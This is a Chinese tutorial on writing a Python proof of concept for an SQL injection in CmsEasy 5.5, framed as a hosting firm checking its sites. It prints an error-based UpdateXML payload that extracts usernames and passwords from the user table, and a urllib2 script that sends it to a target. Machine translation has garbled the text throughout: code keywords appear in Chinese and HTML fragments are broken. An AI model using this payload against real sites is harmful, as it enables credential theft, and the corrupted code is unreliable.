python中poc指的是什么意思

  介绍

小编给大家分享一下python中poc指的是什么意思,希望大家阅读完这篇文章后大所收获、下面让我们一起去探讨吧!

<强> 0 x00我们需要掌握的几个的概念

poc(全称:概念证明)中文意思是“观点证明”。在安全行业中poc则是一段验证漏洞的程序,使我们能够确认这个漏洞是真实存在的。

python是一种面向对象,解释型计算机程序设计语言。常见的一些库我们需要了解,比如:urllib, urllib2,再保险公司请求,套接字等,本文我们要使用python这门语言,python的基础知识我们不做讲解。

SQL注入,通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

<强> 0 x01 poc编写流程

场景还原:某网站托管公司,旗下托管了数万个站点,负责这些站点的安全,但是突然某一天,某知名CMS程序被爆出存在一个高危的SQL注入,某网管排查后发现旗下托管网站中存在几百个站点使用该CMS程序,那么一个一个去排查是否存在该漏洞是非常繁琐的,所以,我们需要一个poc来验证下。

·根据该漏洞详情的描述,假设已知出现漏洞的CMS版本号为4.1,可以去其官网或者GitHub上去下载相对应的版本。

·下载之后,模拟其服务器真实环境,本地进行搭建。根据漏洞描述,进行复现,已SQL注入为例,重复提交不同的参数,观察不同的返回结果,同时注意如果该漏洞不存在出现的结果。

·根据漏洞复现的实际情况,进行poc的编写。

·poc写完之后需要进行相关的测试,已确保该poc的编写没有问题,比如测试靶机程序,以及不存在漏洞的程序。

0 x02 SQL注入poc编写

已知CmsEasy 5.5 utf - 8程序存在SQL注入,乌云漏洞中的漏洞细节比较详细

(由于wooyun已经暂停访问,故不上链接了)。

·首先,我们需要下载其相关源码,进行本地搭建。

阅读漏洞细节,我们得知其url与负载如下:

url: http://xxx.xxx/celive/live/header。php载荷:xajax=LiveMessage& xajaxargs[0]=名字# 39;,(UpdateXML (1, CONCAT (0 x5b,中期((选择/* */GROUP_CONCAT (CONCAT(用户名、& # 39;| & # 39;,密码))从cmseasy_user), 1, 32), 0 x5d), 1)),空,空,空,空,空,空)% 20

·漏洞复现:我们根据其漏洞描述,进行复现,该注入点需要发起一个帖子请求,我们使用Firefox浏览器配合hackbar插件进行复现,填入url与载荷,发送,获取其账户密码。

漏洞效果如下:

 python中poc指的是什么意思”>这样,我们的漏洞就已经复现成功了。接下来,我们来写poc。</p> <pre类= # !/usr/bin/env  python   #,编码:utf - 8   import  urllib2   import  urllib   import 再保险   import 系统   def 验证(url):   时间=target  & # 39; % s/celive/生活/header。php # 39; %, url   #需要发送的数据   post_data =, {   & # 39;xajax # 39;:, & # 39; LiveMessage& # 39;   & # 39;xajaxargs[0] & # 39;:,“名字# 39;,(UpdateXML (1, CONCAT (0 x5b,中期((选择/* */GROUP_CONCAT (CONCAT(用户名、& # 39;| & # 39;,密码)),得到cmseasy_user), 1, 32), 0 x5d), 1)),空,空,空,空,空,空),,,}   试一试:   #发送请求   时间=req  urllib2.Request(目标,数据=urllib.urlencode (post_data))   时间=response  urllib2.urlopen(要求)   #处理请求,进行判断   if 响应:   时间=data  response.read ()   if “XPATH  syntax  error",拷贝数据:   print “% s  is  vulnerable" %,目标   其他:   print “% s  is  not  vulnerable" %,目标      例外,except  e:   print “Something 发生……“   print  e   def  main ():   args =sys.argv   url =,““   if  len (args),==, 2:   url =, arg游戏[1]   验证(url)   其他:   “用法:print  python  % s  url", %, (args [0])   if  __name__ ==, & # 39; __main__ # 39;:   main ()

看完了这篇文章,相信你对python中poc指的是什么意思有了一定的了解,想了解更多相关知识,欢迎关注行业资讯频道,感谢各位的阅读!

python中poc指的是什么意思